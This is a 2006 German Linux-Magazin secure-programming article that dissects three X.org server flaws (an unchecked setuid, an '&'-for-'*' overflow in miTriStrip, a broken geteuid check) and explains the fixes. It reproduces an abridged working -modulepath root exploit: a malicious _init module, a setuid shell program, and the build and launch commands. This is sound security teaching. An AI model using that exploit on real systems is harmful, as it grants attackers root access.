Aus Linux-Magazin 09/2006

Sicheres Programmieren für Administratoren - Folge 7: Sicherheitslücken in X.org

© photocase.com

Monatlich berichtet das Linux-Magazin in den "InSecurity News" über Sicherheitslücken. Was hinter den misslichen Meldungen steckt, beleuchtet dieser Artikel am Beispiel dreier Probleme im X11-Server von X.org.

Der Unterhaltungswert der Rubrik InSecurity News ist selbst für anspruchslose Leser begrenzt. Sie arbeitet mit trockenen Begriffen wie “Buffer Overflow”, “Format-String-Fehler” und “Cross-Site-Skripting”, “Denial of Service” oder “Angreifer kann Befehle ausführen”. Hinter den nachrichtlich-nüchternen Formulierungen verbergen sich manchmal originelle und lehrreiche Exemplare misslungener Software-Entwicklung.

Diesen Schatz an Erfahrungen will die folgende Fallstudie heben – am Beispiel von X. Die Meldungen aus den InSecurity News der Ausgaben 6/06, 7/06 und 9/06 geben den Anlass, die aktuelle X11-Distribution von X.org als Untersuchungsobjekt zu wählen (siehe Kasten “InSecurity-Meldungen”).

InSecurity-Meldungen

In den Ausgaben 6/06 und 7/06 sowie in dem vorliegenden Linux-Magazin melden die “InSecurity News” drei Lücken im X-Server von X.org. Die Hintergründe und Details beschreibt der vorliegende Artikel.

Lücke 1: Linux-Magazin 9/06

In den aktuellen InSecurity News berichtet eine Meldung über eine Lücke im X-Server von X.org im Zusammenhang mit mangelhaften Set-UID-Aufrufen. Das Original-Advisory findet sich im X.org-Wiki. [http://wiki.x.org/wiki/SecurityPage]

Lücke 2: Linux-Magazin 7/06

X-Server: Buffer-Overflow in der Render-Extension »render/mitri.c«, entfernter Angreifer kann Befehle ausführen. [http://securitytracker.com/alerts/2006/May/1016018.html]

Lücke 3: Linux-Magazin 6/06

Aufgrund einer Schwachstelle im X11-Server von X.org kann sich ein lokaler Angreifer Root-Rechte verschaffen. Der Server verarbeitet die beiden Kommandozeilenargumente »-modulepath« und »-logfile« fehlerhaft. Der Angreifer kann dies ausnutzen, um eigenen Code in den Server einzuschleusen. Ein einfacher Exploit findet sich unter [http://www.securiteam.com/exploits/5HP0L0KI0Q.html]. Betroffen von dieser Schwachstelle sind die X.org-Server-Versionen 1.0.0 und älter sowie X11R6.9.0 und X11R7.0. [http://securitytracker.com/alerts/2006/Mar/1015793.html]

X11-Oberflächen haben sich in der Unix-Welt etabliert. Ihre Netzwerkfähigkeit erweist sich gerade im professionellen Bereich als unentbehrliche Hilfe: Da X11 die Hardware (verwaltet vom X-Server) strikt von den Applikationen (X-Clients) trennt, ist es leicht, Programme aus der Ferne zu bedienen (Abbildung 1).

Abbildung 1: Die X-Anwendung auf Birne und ein ferner X-Server auf Apfel sprechen miteinander via Server-Port 6000. Der Client sendet Grafikanweisungen und andere Anfragen per X11-Protokoll zum Server. Der revanchiert sich mit entsprechenden Antworten und Events. Zudem steuert er die Hardware.

Abbildung 1: Die X-Anwendung auf Birne und ein ferner X-Server auf Apfel sprechen miteinander via Server-Port 6000. Der Client sendet Grafikanweisungen und andere Anfragen per X11-Protokoll zum Server. Der revanchiert sich mit entsprechenden Antworten und Events. Zudem steuert er die Hardware.

Auf der Schattenseite steht ein Sicherheitskonzept aus der Steinzeit der IT. Nachträglich aufgeschraubte Mechanismen wie MIT-Magic-Cookies und Tunnel via SSH ändern daran wenig. Folge 5 der “Sicheres Programmieren”-Serie skizzierte den Einbruch in einen mit SSH geschützten Server [3]. Der einzige Weg, um das Protokoll komplett abzusichern, wäre, auf Netzwerkfähigkeit und Mehrbenutzersystem zu verzichten.

Stein des Anstoßes

Selbst dann bestehen X und alle X-Applikationen aus Code, den findige Hacker gerne angreifen. Das leuchtet für den X-Server und die zugehörigen Gerätetreiber unmittelbar ein; weniger offensichtlich ist es für die mitgelieferten Bibliotheken wie die »libXpm«, die Routinen zur Verwaltung von Bildern im XPM-Format bereitstellt. Auch heute noch läuft der X-Server auf vielen Systemen mit Set-UID-Root-Bit. Diese Tatsachen und die hohe Verbreitung machen X zu einem attraktiven Angriffsziel.

Wer sich die Mühe macht, den im Kasten angegebenen Links zu folgen, stößt bald auf eine Wiki-Seite mit Security Advisories der X.org Foundation [4]. Die Seite macht einen gepflegten und übersichtlichen Eindruck mit Verweisen auf die Advisorys sowie Aussagen zu den betroffenen Versionen und verfügbaren Patches. Wie schnell sich neue Lücken öffnen, erlebte der Autor während der Arbeit an diesem Artikel: Die Foundation trug die dritte Meldung ein, während der Text bereits im Entstehen war. Das hatte deutliche Auswirkungen auf den Umfang dieses Beitrags.

Lücke 1: Set-UID

Am 20. Juni wies Matthieu Herrb auf der X.org-Mailingliste von Freedesktop.org auf eine Sicherheitslücke in den X.org-Versionen 6.7.0 bis 7.1 hin (Beschreibung und Patches auf [5]). Auf manchen Systemen sind einige Programme aus dem Lieferumfang von X.org mit Set-UID-Root-Rechten installiert. Üblich ist das für den X-Server, aber auch andere Tools unterscheiden zwischen normalen Benutzern und Root. Das Advisory nennt den Display-Manager XDM sowie Xterm; hinzu kommen unter anderem Xload und Xinit. Listing 1 zeigt einen Auszug aus der Datei »os/utils.c« der neuesten Version X11R7.1 des X-Servers.

Listing 1: X.org 7.1,
»os/utils.c«

01 /*
02  * "safer" versions of system(3), popen(3) 
03  * and pclose(3) which give up all privs 
04  * before running a command.
05  * 
06  * This is based on the code in FreeBSD 2.2 
07  * libc.
08  * 
09  * XXX It'd be good to redirect stderr so 
10  * that it ends up in the log file as well. 
11  * As it is now, xkbcomp messages don't end 
12  * up in the log file.
13  */
14 
15 int
16 System(char *command)
17 {
18   int pid, p;
19   void (*csig)(int);
20   int status;
21 
22   if (!command)
23     return(1);
24 
25   csig = signal(SIGCHLD, SIG_DFL);
26 
27   ErrorF("System: `%s'n", command);
28 
29   switch (pid = fork()) {
30   case -1: /* error */
31     p = -1;
32   case 0: /* child */
33     setgid(getgid());
34     setuid(getuid());
35     execl("/bin/sh", "sh", "-c", command, (char *)NULL);
36     _exit(127);
37   default: /* parent */
38     do {
39       p = waitpid(pid, &status, 0);
40     } while (p == -1 && errno == EINTR);
41 
42   }
43 
44   signal(SIGCHLD, csig);
45 
46   return p == -1 ? -1 : status;
47 }

Die mit großem Anfangsbuchstaben geschriebene Funktion »System()« soll eine ähnliche Aufgabe erfüllen wie der Systemaufruf »system()«, der eine Shell startet und darin einen Befehl ausführt. Dazu erzeugt er einen Tochterprozess und führt den Mutterprozess erst dann fort, wenn der Befehl endet (Abbildung 2). Auch wenn der Kommentar am Beginn der Funktion »System()« etwas mehrdeutig ausfällt: Die neue Funktion soll im Gegensatz zu »system()« auch noch die Root-Rechte abgeben, bevor der Befehl läuft.

Abbildung 2: Der »system()«-Aufruf (1) erzeugt einen Tochterprozess mit »fork()« (2) und wartet auf dessen Ende (3). Inzwischen startet die Tochter per »exec()« eine Shell und übergibt ihr das Kommando (4). Nach dem Ende des Tochterprozesses (5) erwacht die Mutter (6).

Abbildung 2: Der »system()«-Aufruf (1) erzeugt einen Tochterprozess mit »fork()« (2) und wartet auf dessen Ende (3). Inzwischen startet die Tochter per »exec()« eine Shell und übergibt ihr das Kommando (4). Nach dem Ende des Tochterprozesses (5) erwacht die Mutter (6).

Alle Schritte aus Abbildung 2 finden sich auch in Listing 1. Dem Einsprungspunkt des Syscall entspricht die Funktion selbst (ab Zeile 16). In Zeile 29 ruft sie Fork auf. Während der Mutterprozess wartet (Zeilen 38 bis 40), führt die Tochter eine Shell aus (»execl()« in Zeile 35).

Neu sind aber die Aufrufe »setgid (getgid())« und »setuid(getuid())«. Sie überschreiben reale, effektive und gespeicherte (saved) User- und Group-IDs und verhindern damit, dass sich die Shell diese Rechte wieder zurückholen kann. Das ist hier besonders wichtig, weil der X-Server die von außen hereingereichte Umgebung nicht bereinigt. Die Shell erbt auch gefährliche Umgebungsvariablen wie »IFS« oder »ENV«, über die sie ein Aufrufer dazu zwingen kann, beliebige Befehle abzuarbeiten (siehe erste Folge [1]). Hat die Shell Root-Rechte, ist der Rechner kompromittiert.

Tückische Rückgabe

Bei ihren Sicherheitsvorkehrungen haben die Entwickler übersehen, dass Setuid auf Kernel 2.6 einen Fehler zurückliefern kann, selbst wenn Root den Syscall aufruft. Das passiert, wenn durch den Wechsel der User-ID die Anzahl erlaubter Prozesse für den neuen Benutzer überschritten würde (»ulimit -u«). Der Code ignoriert solche Fehler und startet die Shell fröhlich als Root. Dabei wäre das Problem ganz leicht zu beheben:

if (setuid(getuid()) == -1)
  _exit(127):

Das XKB-Modul verwendet die neue System-Funktion zwar korrekt, um den Befehl »xkbcomp« aufzurufen, beim Debian Sarge des Autors sieht das so aus:

/bin/sh -c "/usr/X11R6/lib/X11/xkb/xkbcomp" -w 1 "-R/usr/X11R6/lib/X11/xkb" [...] /var/tmp/server-0.xkm

Wozu bei diesem simplen Befehl aber der Umweg über »/bin/sh« gut sein soll, bleibt wohl das Geheimnis des Programmierers. Wahrscheinlich handelt es sich nur um Faulheit. Jedenfalls ließe sich der »execl()«-Aufruf aus Listing 1 einfacher und sicherer schreiben:

execl("/usr/X11R6/lib/X11/xkb/xkbcomp", "xkbcomp", "-w", "1", "-R/usr/X11R6/lib/X11/xkb", [...], "/var/tmp/server-0.xkm", (char *)NULL);

Die gute Nachricht für Anwender von Linux-Systemen, auf denen die Bash hinter »/bin/sh« steckt: Diese Shell arbeitet tatsächlich nur den gewünschten Befehl ab. Weder lässt sie sich über die »ENV«-Variable ein anderes Skript unterschieben, noch fällt sie auf Tricks mit »IFS« oder »PATH« herein.

Solche Sorgfalt darf der Entwickler aber nicht blind voraussetzen. Die Bash ist zwar Linux-Standard, doch gelegentlich läuft aus mancherlei Gründen eine andere Shell. Auf anderen Unix-Systemen ist die Bash eher selten der Default.

Sorgfalt geboten

Obwohl den Entwicklern bewusst sein musste, dass der X-Server in der Regel mit Root-Rechten läuft, haben sie ihre Hausaufgaben nicht gemacht. Aus dem Zusammenspiel mehrerer Nachlässigkeiten ist eine reale Gefahr entstanden. Jede der folgenden Maßnahmen hätte den Privilegien-GAU verhindert oder wenigstens erschwert:

  • Keine Annahmen machen, die sich nicht durch die Dokumentation
    belegen lassen. Hier: Rückgabewert von »setuid()«
    (Regel 3 aus [3]).
  • Aus Programmen heraus keine Shellskripte starten [3].
  • Die Umgebung eines Set-UID-Root-Programms sorgfältig
    säubern [1].
  • Privilegien so früh wie möglich abgeben [1].

Vom Prinzip der mehrfach gestaffelten Abwehr (Defense in Depth, [2]) ist im Code keine Spur zu finden. Viele Stellen gehen ebenso sorglos mit »setuid()« und Konsorten um. Für die bekannte Schwäche sind immerhin nur Maschinen mit begrenzter Zahl von Prozessen pro Benutzer anfällig. Ob das für einen Rechner zutrifft, klärt der Befehl »ulimit -a«.

Lücke 2: Buffer Overflow

Das Linux-Magazin 7/06 meldet kurz und knapp einen Buffer-Overflow, mit dessen Hilfe ein Angreifer Befehle einschmuggelt ([6], Patch auf [4]). Diese Formulierung deutet auf den Überlauf eines statischen Puffers hin, etwa wie im folgenden Code. Der Entwickler setzt voraus, dass der Benutzer das Programm mit begrenzt langen Eingaben füttert:

char buf[99];
[...]
sprintf(buf, "%s %s", argv[1], argv[2]);

Übertrifft die Gesamtlänge beider Parameter 97 Bytes (plus Leerzeichen und Nullbyte), reicht der Platz auf dem Stack in der Variablen »buf« nicht aus. Diese Sorglosigkeit zu nutzen ist für den geübten Hacker ein Leichtes [10].

Stack oder Heap

Ganz ähnlich sieht es beim Heap Overflow aus. Buffer Overflows sind beide, egal ob sich der Speicherblock auf dem Stack oder im Heap befindet. Letzteres meint den Bereich für die dynamische Speicherverwaltung:

char *buf = malloc(99);
[...]
sprintf(buf, "%s %s", argv[1], argv[2]);

Die Details eines Angriffs unterscheiden sich, aber das Resultat bleibt gleich. Der Blick auf den betroffenen Code der Version X.org 7.0 (Datei »os/mitri.c«, Listing 2) enthüllt einen Zwitter aus beidem. Die Funktion »miTriStrip()« hat vermutlich etwas mit der Darstellung von Dreiecken (Triangle) zu tun.

Im Argument »points« erwartet die Funktion ein Feld von Punkten, die sie in Dreiergruppen zu Dreiecken zusammenfasst. Diese speichert die Funktion in einem frisch angelegten Array namens »tris« (Zeilen 22 bis 27) und übergibt Letzteres in Zeile 28 einer anderen Funktion, die hier nicht weiter interessiert.

Der Fehler steckt in der Speicherverwaltung. In Zeile 19 reserviert das Makro »ALLOCATE_LOCAL« dynamischen Speicher auf dem Stack. Auf Linux mit GCC entspricht dies der Funktion »alloca()«. Später gibt »DEALLOCATE_LOCAL« den Speicher wieder frei (Zeile 29). Das Deallocate-Makro führt zu keiner Operation auf Linux mit GCC. Das wäre auch unnötig, da der Speicher gemeinsam mit dem Stackframe am Ende der Funktion automatisch frei wird. Es handelt sich also um dynamische Speicherverwaltung auf dem Stack (Abbildung 3) und nicht wie üblich auf dem Heap.

Abbildung 3: Per »alloca()« holt »miTriStrip()« dynamischen Speicher für »*tris«. Der liegt unterhalb der lokalen Variablen auf dem Stack. Schreibt das Programm über das Ende hinaus, verändert es die anderen Bereiche bis zur Rücksprungadresse.

Abbildung 3: Per »alloca()« holt »miTriStrip()« dynamischen Speicher für »*tris«. Der liegt unterhalb der lokalen Variablen auf dem Stack. Schreibt das Programm über das Ende hinaus, verändert es die anderen Bereiche bis zur Rücksprungadresse.

Dumm nur, dass die Formel »ntri & sizeof (xTriangle)« in Zeile 19 den benötigten Speicher falsch berechnet. Der Operator »&« bezeichnet die bitweise Und-Verknüpfung, gemeint war aber die Multiplikation »*«. Die Struktur »xTriangle« ist 24 Bytes groß (drei Punkte mit je zwei Koordinaten à 4 Bytes); das Ergebnis der Formel kann nicht größer ausfallen.

Falsch gerechnet

Übergibt der Aufrufer 1000 Dreiecke (1002 Punkte) an die Funktion, reserviert sie nur 16 Bytes (1000 & 24 = 16) statt 24000. Es ist schon verwunderlich, dass dieser Fehler fast eineinhalb Jahre lang in den Versionen von 6.8.2 (Februar 2005) bis 7.0 (Mai 2006) schlummerte. Fraglich ist, ob überhaupt jemals jemand den Code getestet hat.

Oft stammen Bilddaten nicht vom Benutzer oder dem heimischen System, sondern kommen aus Drittquellen über E-Mail oder Downloads aus dem Netz. Ein cleverer Angreifer schafft es damit vielleicht, schädliche Daten in das System zu injizieren. Im einfachsten Fall bringt er den X-Server zum Absturz. Eigenen Code einschleusen ist möglich, wenn auch knifflig.

Ausgetrickst

Weil die For-Schleife (Zeilen 22 bis 27 in Listing 2) die »xPointFixed«-Strukturen nicht sequenziell, sondern überlappend kopiert, kann der Angreifer den Schadcode nicht einfach am Stück in das Eingabefeld »points« stecken. Im Speicher der Variablen »tris« folgen im Wechsel auf ein Dreieck jeweils zwei Dreiecke mit Wiederholungen früherer und späterer Daten.

Listing 2: X.org 7.0,
»os/utils.c«

01 void
02 miTriStrip (CARD8           op,
03             PicturePtr      pSrc,
04             PicturePtr      pDst,
05             PictFormatPtr   maskFormat,
06             INT16           xSrc,
07             INT16           ySrc,
08             int             npoint,
09             xPointFixed     *points)
10 {
11     ScreenPtr           pScreen = pDst->pDrawable->pScreen;
12     PictureScreenPtr    ps = GetPictureScreen(pScreen);
13     xTriangle           *tris, *tri;
14     int                 ntri;
15 
16     if (npoint < 3)
17         return;
18     ntri = npoint - 2;
19     tris = ALLOCATE_LOCAL (ntri & sizeof (xTriangle));
20     if (!tris)
21         return;
22     for (tri = tris; npoint >= 3; npoint--, points++, tri++)
23     {
24         tri->p1 = points[0];
25         tri->p2 = points[1];
26         tri->p3 = points[2];
27     }
28     (*ps->Triangles) (op, pSrc, pDst, maskFormat, xSrc, ySrc, ntri, tris);
29     DEALLOCATE_LOCAL (tris);
30 }

Bei trickreicher Organisation des Schadcode ist die Kopierroutine aber kein ernstes Hindernis: Der Angreifer begnügt sich mit den 24 Bytes jedes dritten Dreiecks und fügt am Ende jedes Blocks noch eine Sprunganweisung zum Beginn des nächsten ein (Abbildung 4). Ob sich diese Mühe für einen Angreifer lohnt, darf jedoch angesichts der folgenden Meldung aus dem Linux Magazin 6/06 bezweifelt werden ([7], Patch auf [4], Exploit auf [8] und [9]). Sie beschreibt viel einfachere Wege ins System.

Abbildung 4: Die Funktion »miTriStrip()« kopiert Punkte aus dem Feld »points« überlappend in Dreiecke des Feldes »tris«. Nur jedes dritte Zielelement taugt für Schadcode. Die Sprunganweisung umgeht überschüssigen Codemüll und setzt erst beim nächsten sinnvollen Zielelement fort.

Abbildung 4: Die Funktion »miTriStrip()« kopiert Punkte aus dem Feld »points« überlappend in Dreiecke des Feldes »tris«. Nur jedes dritte Zielelement taugt für Schadcode. Die Sprunganweisung umgeht überschüssigen Codemüll und setzt erst beim nächsten sinnvollen Zielelement fort.

Lücke 3: Aufruf

Mit den beiden Aufrufoptionen des X-Servers »-logfile« und »-configure« kann ein lokaler Benutzer Dateien mit Root-Rechten überschreiben – das ist schon schlimm genug. Die Option »-modulepath« erlaubt es sogar, den Modul-Suchpfad zu ändern. Module sind Bibliotheken, die der X-Server auf Wunsch dynamisch ins laufende Programm einbindet, zum Beispiel die Grafikmodule »bitmap«, »dri« oder »glx«.

Wer den Suchpfad bestimmt, schiebt dem Server damit beliebigen Code unter. Deswegen durfte bis Version 6.8 nur Root diese Optionen verwenden. Der Code prüft, ob die reale Benutzerkennung Root gehört. Die reale UID ist die Kennung des aufrufenden Users. Dazu bedient sich »hw/xfree86/common/xf86Init.c« der Funktion »getuid()« (Listing 3a, Zeile 3). Anderen Benutzern bleiben die privilegierten Optionen verwehrt (Zeilen 5 bis 12).

Listing 3a: X.org 6.8,
»xf86Init.c«

01 /* First the options that are only allowed for root
01  */
03 if (getuid() == 0)
04 {
05   if (!strcmp(argv[i], "-modulepath"))
06   {
07     /* ... */
08   }
09   else if (!strcmp(argv[i], "-logfile"))
10   {
11     /* ... */
12   }
13 }

In Version 6.9 wollten die Entwickler mehr gestatten: Falls der X-Server nicht mit Root-Rechten läuft, darf der Benutzer ebenfalls die gefährlichen Optionen verwenden. Das ist der Fall, wenn die effektive Benutzerkennung nicht Root ist. Diese Kennung zeigt bei S-Bit-Programmen an, wem die Programmdatei gehört (solange das Programm die UID nicht gewechselt hat).

Die Funktion »geteuid()« liefert die gewünschte UID zurück (Listing 3b, Zeile 3). Bloß fehlen hier zwei runde Klammern, daher prüft die Bedingung »geteuid != 0« nicht den Rückgabewert, sondern die Adresse der Funktion auf Null. Dort steht aber nie eine Funktion – mithin ist die Bedingung stets wahr und jeder Benutzer darf die Optionen verwenden. Besser wäre »if (getuid() == 0 || geteuid() != 0)« gewesen – aber auch das genügt noch nicht.

Listing 3b: X.org 7.0,
»xf86Init.c«

01 /* First the options that are only allowed for root 
02  */
03 if (getuid() == 0 || geteuid != 0)
04 {
05   if (!strcmp(argv[i], "-modulepath"))
06   {
07     /* ... */
08   }
09   else if (!strcmp(argv[i], "-logfile"))
10   {
11     /* ... */
12   }
13 } else if (!strcmp(argv[i], "-modulepath") || !strcmp(argv[i], "-logfile")) {
14   FatalError("The '%s' option can only be used by root.n", argv[i]);
15 }

Normalerweise warnt GCC bei Vergleichen eines Integer mit einem Funktionszeiger: »comparison between pointer and integer«. G++ verbietet es gleich ganz: »ISO C++ forbids comparison between pointer and integer«. Dummerweise klappt das nicht bei Vergleichen mit Null. Die schluckt der Compiler klaglos, da es sinnvolle Szenarien für die Operation gibt. Für Sorgfalt beim Programmieren spricht das nicht. Offensichtlich hat auch niemand diesen Code getestet.

Vorsicht, UID

Den Vorwurf des Schlamperei müssen sich die Entwickler noch aus einem anderen Grund gefallen lassen, denn auch der korrigierte Code ist fehlerhaft: Gehört der X-Server zwar nicht Root, ist aber dennoch mit Set-UID-Bit installiert, übernimmt der Angreifer die Kontrolle über genau diesen Benutzer. Er kann dann die X-Programmdatei gegen Schadcode austauschen und abwarten, bis Root den Server startet. Korrekt wäre folgende Bedingung:

if (getuid() == 0 || geteuid() == getuid())

Sie ist wahr, wenn entweder Root den X-Server aufruft oder wenn die effektive gleich der realen UID ist. Letzteres gilt immer, wenn das Programm kein Set-UID-Bit hat. Andernfalls müssen Besitzer und Aufrufer identisch sein, um die Bedingung zu erfüllen. Nur in diesen Fällen ist die Option harmlos.

Jeder erfahrene C-Programmierer ist in der Lage, mit diesen Informationen den X-Server anzugreifen. Tatsächlich beschreibt [8] einen solchen Exploit und liefert den zugehörigen Code gleich mit ([9], gekürzt in Listing 4a und 4b). Um den Angriff zu verstehen, ist ein wenig Hintergrundwissen nötig.

Listing 4a:
Exploit-Modul

01 void _init()
02 {
03   setreuid(0,0);
04   system("chown root shell; chmod 4755 shell");
05   exit(0);
06 }

Listing 4b:
Shellcode

01 int main(int argc, char **argv)  {
02   char *sh = "/bin/sh";
03   char *args[2];
04 
05   args[0] = sh;
06   args[1] = NULL;
07 
08   setreuid(0,0);
09   printf("nn[*] Executing shell with uid=%d and euid=%dn", getuid(), geteuid());
10   putenv("PS1=shell # ");
11 
12   execv(sh, args);
13 }

Unter Linux binden Programme zur Laufzeit dynamische Bibliotheken (mit der Dateiendung ».so«) über einen Libc-Aufruf ein. Sie füttern die Funktion »dlopen()« mit dem gewünschten Dateinamen und erhalten als Antwort ein Handle. Das erlaubt es, auf Funktionen aus der neu geladenen Library zuzugreifen (Abbildung 5). Exportiert eine Bibliothek das Symbol »_init()«, ruft Dlopen diese Funktion noch rasch auf und erlaubt es damit der Bibliothek, sich gleich zu Beginn zu initialisieren.

Abbildung 5: Ein Programm will die dynamische Bibliothek »libxx.so« einbinden. Dazu ruft es die Funktion »dlopen()« auf. Diese durchsucht den Bibliothekspfad nach der Datei, öffnet sie und gibt ein Handle ans Programm zurück. Darüber nutzt das Programm später Bibliotheksfunktionen.

Abbildung 5: Ein Programm will die dynamische Bibliothek »libxx.so« einbinden. Dazu ruft es die Funktion »dlopen()« auf. Diese durchsucht den Bibliothekspfad nach der Datei, öffnet sie und gibt ein Handle ans Programm zurück. Darüber nutzt das Programm später Bibliotheksfunktionen.

Shellcode

Diesen Mechanismus nutzt der Exploit. Das kleine Programm »shell« (Listing 4b) enthält den Schadcode. Er setzt die reale und effektive Benutzerkennung auf Root (Zeile 8) und startet in Zeile 12 die Shell »/bin/sh«. Zeile 1 in Listing 4c übersetzt das Programm im aktuellen Verzeichnis.

01 gcc -o shell shell.c
02 gcc -fPIC -c exploit.c
03 gcc -shared -nostdlib exploit.o -o exploit.so
04 
05 ln -sf exploit.so libbitmap.so
06 ln -sf exploit.so bitmap.so
07 ln -sf exploit.so bitmap_drv.so
08 ln -sf exploit.so libpcidata.so
09 ln -sf exploit.so pcidata.so
10 ln -sf exploit.so pcidata_drv.so
11 
12 X :3.0 -modulepath `pwd` -nolisten tcp -x bogus
13 ./shell

Zu dieser Zeit gehört die Datei »shell« aber noch dem lokalen Benutzer. Sie mit den gewünschten Rechten zu versehen übernimmt das Exploit-Modul »exploit.so«. Der Quellcode (Listing 4a) besteht lediglich aus der Funktion »_init()«. Sie setzt in Zeile 4 die Besitzer und Rechte der Datei entsprechend und beendet danach den X-Server mit »exit(0)«.

Die Anweisungen in Listing 4c übersetzen den Code zuerst in die Objektdatei »exploit.o« (Zeile 2). Die Option »-fPIC« sorgt für ein positionsunabhängiges Ergebnis (Position Independant Code), denn nur solche Objekte eignen sich als Teil einer dynamischen Bibliothek. Die nächste Zeile erzeugt dann die Bibliothek »exploit.so«

Damit der X-Server die Mini-Bibliothek auch benutzt, legt das Skript ein paar symbolische Links auf »exploit.so« an. Diese Verweise tragen die Namen echter Module (Zeilen 5 bis 10 in Listing 4c), die der Server praktisch immer lädt (PCI- und Bitmap-Module).

Jetzt ist das Feld für den Angriff vorbereitet (Zeile 12). Der Saboteur gibt dem Aufruf die Option »-modulepath `pwd`« mit. Der Server sucht im aktuellen Verzeichnis beispielsweise nach »bitmap.so«, findet über den Symlink aber »exploit.so« und ruft dessen Funktion »_init« auf. Nun verfügt der Cracker über eine Root-Shell. Diesen Ablauf verdeutlicht Abbildung 6.

Abbildung 6: Beim Modulepath-Angriff sorgt der Cracker dafür, dass der X-Server ein manipuliertes Modul lädt. Das läuft dann mit Root-Rechten, die es prompt an den Shellcode namens »shell« weitergibt. Ruft der Cracker dieses Programm später auf, dann landet er in einer Root-Shell.

Abbildung 6: Beim Modulepath-Angriff sorgt der Cracker dafür, dass der X-Server ein manipuliertes Modul lädt. Das läuft dann mit Root-Rechten, die es prompt an den Shellcode namens »shell« weitergibt. Ruft der Cracker dieses Programm später auf, dann landet er in einer Root-Shell.

Detailfrage

Allzu leicht übersehen Entwickler kleine, aber wichtige Details wie ein gesetztes Set-UID-Bit oder vertippen sich (etwa »&« statt »*«). Ähnliches wiederholt sich tagtäglich und schlägt sich in entsprechenden Sicherheits-Advisories nieder. X.org ist hier nur ein typischer Vertreter und keineswegs schlimmer als der Durchschnitt. (fjl)

Infos

[1] Dominik Vogt, “Umweltverschmutzung – sicheres Programmieren für Admins, Folge 1”: Linux-Magazin 02/05, S. 54

[2] Dominik Vogt, “Gesichtskontrolle – sicheres Programmieren für Administratoren, Folge 3”: Linux-Magazin 07/05, S. 62

[3] Dominik Vogt, “Verständigungsfrage – sicheres Programmieren für Administratoren, Folge 5”: Linux-Magazin 01/06, S. 64

[4] X.org Security Advisories: [http://xorg.freedesktop.org/wiki/SecurityPage]

[5] Matthieu Herrb, “Setuid return value check problems on Linux systems”: [http://lists.freedesktop.org/archives/xorg/2006-June/016146.html]

[6] Matthieu Herrb, “Buffer overflow in the Xrender extension of the X.org server”: [http://lists.freedesktop.org/archives/xorg/2006-May/015136.html]

[7] Daniel Stone, “Local privilege escalation in X.org server”: [http://lists.freedesktop.org/archives/xorg/2006-March/013992.html]

[8] Exploit: [http://www.securiteam.com/exploits/5HP0L0KI0Q.html]

[9] Exploit-Code: [http://metasploit.com/users/hdm/tools/xmodulepath.tgz]

[10] Achim Leitner, “Nicht ganz dicht – Sicherheitslücken in Programmen vermeiden”: Linux-Magazin 06/01, S. 30

Der Autor

Dipl.-Math. Dominik Vogt ist langjähriger Software-Entwickler und Systemadministrator. Zur Zeit arbeitet er als freiberuflicher EDV-Berater mit dem Schwerpunkt Softwaresicherheit. In seiner Freizeit werkelt er gerne an dem Windowmanager Fvwm.

DIESEN ARTIKEL ALS PDF KAUFEN
EXPRESS-KAUF ALS PDFUmfang: 6 HeftseitenPreis €0,99
(inkl. 19% MwSt.)
LINUX-MAGAZIN KAUFEN
EINZELNE AUSGABE Print-Ausgaben Digitale Ausgaben
ABONNEMENTS Print-Abos Digitales Abo
TABLET & SMARTPHONE APPS Readly Logo
E-Mail Benachrichtigung
Benachrichtige mich zu:
0 Kommentare
Älteste
Neuste Beste Bewertung
Inline Feedbacks
Alle Kommentare anzeigen
Nach oben